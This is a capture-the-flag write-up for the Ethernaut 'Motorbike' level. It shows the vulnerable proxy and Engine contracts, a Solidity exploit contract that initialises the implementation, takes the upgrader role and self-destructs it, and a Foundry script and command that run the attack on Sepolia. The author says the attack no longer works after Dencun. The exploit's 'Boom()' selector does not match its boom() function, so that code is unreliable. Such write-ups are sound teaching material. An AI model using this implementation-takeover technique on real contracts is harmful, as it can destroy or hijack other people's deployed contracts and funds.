The Ethernaut CTF Solutions | 25 - Motorbike
Engineering an Exit: Overcoming Upgrade Barriers in the Motorbike Challenge
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
// import "openzeppelin-contracts-06/utils/Address.sol";
// import "openzeppelin-contracts-06/proxy/Initializable.sol";
import {Address} from "../helpers/Address.sol";
import {Initializable} from "@openzeppelin/contracts/proxy/utils/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(
Address.isContract(_logic),
"ERC1967: new implementation is not a contract"
);
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success, ) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(
bytes32 slot
) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(
address newImplementation,
bytes memory data
) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success, ) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"ERC1967: new implementation is not a contract"
);
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
The hack
Dencun upgrade (Feb 2024)
NOTE: The "old" solution for this challenge is not working anymore since the Dencun upgrade. The issue comes from the new behavior of the selfdestruct
opcode which doesn't remove the contract's bytecode unless the contract is created AND self-destructed in the same transaction. See EIP6780.
Contract Self Destructed, but was later reinitalized with new ByteCode
However, according to this github thread, it seems that it is still doable: OpenZeppelin/ethernaut#701
I will update if I crack it. For information purposes, I have kept the old solution below.
Old solution
In order to self-destruct the Engine
contract, we need to upgrade it to a new implementation since there is no selfdestruct()
in this one. We can call the upgradeToAndCall()
function for that, but we first need to become the upgrader
inside the Engine
contract to pass the _authorizeUpgrade()
access check.
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
There is no way to do that by calling the Motorbike contract directly. But, we see that the Motorbike contract is using a delegatecall to initialize the Engine contract. This means that, as far as the Engine knows, Engine::upgrader
hasn't been set yet (still address(0)
), so we can call the initialize()
function from our exploit contract directly.
Let's get the current Engine implementation address:
- In your Ethernaut browser console:
await web3.eth.getStorageAt(
instance,
"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
// => 0x000000000000000000000000239bcf976042946e51690c2de9fea5d017eb282c
// => 0x239bcf976042946e51690c2de9fea5d017eb282c
);
- In Foundry using
forge
:
address engine = address(
uint160(
uint256(
vm.load(
motorbikeInstance,
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
)
)
)
);
Then, we can upgrade the Engine contract to a new implementation address with the upgradeToAndCall()
function and call the boom()
function to self-destruct it.
Solution
Let's implement the code accordingly:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IEngine {
function initialize() external;
function upgradeToAndCall(
address newImplementation,
bytes memory data
) external payable;
}
contract Bicycle {
IEngine private immutable engine;
constructor(address _engine) {
engine = IEngine(_engine);
}
function attack() public {
// 1. Initialize the engine contract
engine.initialize();
// 2. Upgrade the engine contract to a new implementation and kill it
engine.upgradeToAndCall(
address(this),
abi.encodeWithSignature("Boom()")
);
}
function boom() external {
selfdestruct(payable(msg.sender));
}
}
Here is the deployment script for convenience:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {Bicycle} from "../src/25_Motorbike.sol";
contract PoC is Script {
// Replace with your Motorbike instance
address private immutable motorbike =
0x72DDB3C8b89C235a6368DC094066e21AbE8759Cc;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
address engineAddress = address(
uint160(
uint256(
vm.load(
motorbike,
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
)
)
)
);
console2.log("Engine address: ", engineAddress);
Bicycle bicycle = new Bicycle(engineAddress);
bicycle.attack();
vm.stopBroadcast();
}
}
You can run the script with the following command:
forge script script/25_Motorbike.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
However, you will get this since the Dencun upgrade and won't pass this level:
๐ Level not completed ๐
Takeaway
UUPS Proxies are better than the older EIP-1967 proxies but must be carefully implemented.
Sensitive functions such as contract upgrades should be protected by access control.
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/